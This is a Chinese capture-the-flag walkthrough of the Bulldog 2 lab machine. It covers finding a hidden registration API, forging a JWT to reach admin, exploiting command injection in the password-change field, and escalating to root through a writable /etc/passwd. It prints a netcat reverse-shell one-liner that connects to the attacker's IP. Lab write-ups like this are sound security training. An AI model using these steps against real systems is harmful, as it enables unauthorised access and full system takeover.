渗透测试实战-bulldog 2靶机入侵
栏目: JavaScript · 发布时间: 6年前
内容简介:大家好!爱写靶机渗透文章的我又来了,因为是在工作闲暇时间做的靶机解题,所以更新可能会比较慢,为什么这篇要写在这个靶机呐?因为看到现在很多ctf和靶机都在使用nodojs出题,有可能会是个趋势,所以碰到了就写篇文章,让大家以后有个认识。bulldog 2靶机下载:
前言
大家好!爱写靶机渗透文章的我又来了,因为是在工作闲暇时间做的靶机解题,所以更新可能会比较慢,为什么这篇要写在这个靶机呐?因为看到现在很多ctf和靶机都在使用nodojs出题,有可能会是个趋势,所以碰到了就写篇文章,让大家以后有个认识。
靶机安装/下载
bulldog 2靶机下载: https://pan.baidu.com/s/1crkVi54RbhczmqyHw3W1XQ
bulldog 2靶机ip:172.16.24.78
攻击者ip:172.16.24.89
第一步不用怀疑,肯定还是nmap 神器开路
可以看到该靶机只开放了80端口…, 下一部小伙伴们肯定是要探测目录了
通过目录猜解可以看到没有发现什么可利用的目录,那根据个人经验估计突破口肯定在js文件里,
我们访问该靶机80端口,查看其js的调用情况。如图:
可以看到该靶机首页调用了4个js文件,我们分别访问,美化一下看看(肯定有小伙伴要问了,为什么要美化。。 因为不美化是这样的,如图
小弟这里把这4个js文件美化保持到本地, 下一步就是对其逐一进行审计查看,我们在查看页面的时候可以看到,页面上有个注册功能,但是我们点击报错。。。
我们使用 “register” 做为关键字对刚刚美化保存的4个js文件进行搜索,可以看到有所发现,如图:
根据js上的定义,我们可以使用 post提交 新账户信息来完成注册,但是注意这里有2点要求:
- Content-Type 必须要是:application/json
- post 数据包内容处,必须要严格按照js代码里的规范
post 数据包:
POST /users/register HTTP/1.1 Host: 172.16.24.78 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Sun, 15 Jul 2018 14:58:16 GMT If-None-Match: W/“465-1649e73083e” Content-Type: application/json Content-Length: 96 { “name”: “aqk”, “email”: “aqk@test.com”, “username”: “aqk”, “password”: “123456” }
可以看到返回true,注册成功了,我们使用 “aqk”账号来登陆一下看看,
可以看到已经成功登陆这个新账户的,但是没办法继续利用啊,怎么办。我们先退出登陆,回到注册点,在登陆看看,
1.先验证用户账户密码,如图:
2.账号密码正确后,该靶机传递一个奇怪的tonken,如图:
下一步我们就来解密一下看这个tonken传递了什么内容,我们可以去Google搜索 “jwt 解密” (注:百度搜索这个关键词出现一堆有的没的,谷歌搜索第一条就是我们想要的。优秀)
解密网址: https://jwt.io
我们把那个tonken后面的编码复制进去查询一下看看,如图:
可以看到一个可疑的参数:“auth_level”,通过名字就应该知道是判断用户权限的,我们进行使用这个参数去刚刚保存的几个js文件里搜索看看,如图:
在743行代码处,看到它的判断,下一步我们只需要把“master_admin_user” 替换掉原来的就行,如图:
下一步就是复制修改后的新编码替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:
放包以后,我们成功已经变成了 admin 账户,
下一步突破口在修改密码处,为什么呢?因为前面测试的时候找到了其github上托管的代码,并发现在修改密码的密码处存在命令执行漏洞,如图:
- 报错信息:
关键字“Bulldog-2-The-Reckoning”
2.github搜索
3.发现漏洞
当然各位小伙伴们也可以不用这么麻烦手动挖掘到这个漏洞,因为就那么2个功能页面。。。
下面我们就直接在修改密码处执行漏洞拿反弹shell,如图:
注:此处的反弹 shell 命令为:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.24.89 6666 >/tmp/f
成功拿到shell。
接下来肯定是提权了,相信看过小弟文章的都知道,该怎么弄了,这次小弟写个不一样的。
1.切换到/etc,查看passwd文件读写权限,如图:
(注:命令出现重复,是特例,小伙伴们如果碰到这种情况,重新反弹一个shell回来就行,小弟懒,就算了…)
可以看到passwd文件可以写。。。 我们查看一下用户
下一步我们只需要新建一个root用户就行,操作如下:
1.命令:perl -le ‘print crypt(“pass”, “aa”)’
2.复制 passwd文件里 root 用户那列继续修改,如图
注:我们只需要修改3处:一个是名字、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改,相信小伙伴们都了解过passwd文件的对于的权限类型
下一步我们就直接把这个新创建的用户写入passwd文件里即可,
确认一切都没问题了,就可以直接输入命令:su hack
密码为刚刚设置的:pass
成功拿到root权限,并拿到flag,如图:
结语
不管是靶机的安全检测还是平时的渗透测试工作,我们都不应该去忽略js文件,可能有惊喜哦!多花点时间多考虑一个点,我相信你会有更多收获!最后祝大家生活愉快,国庆节快乐!
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 渗透测试实战-DC-1:1靶机入侵+Matrix2靶机入侵
- 渗透测试实战-Blacklight靶机+DeRPnStiNK靶机入侵
- 渗透测试实战-eric靶机+HackInOS靶机入侵
- 渗透测试实战-lin.security靶机+Goldeneye靶机入侵
- 渗透测试实战-ROP靶机PWN+SolidState靶机入侵
- 渗透测试实战——unknowndevice64-1靶机+Moonraker靶机入侵
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Landing Page Optimization
Tim Ash / Wiley Publishing / 2008-1-29 / USD 29.99
在线阅读本书 How much money are you losing because of poor landing page design? In this comprehensive, step-by-step guide, you’ll learn all the skills necessary to dramatically improve your bottom li......一起来看看 《Landing Page Optimization》 这本书的介绍吧!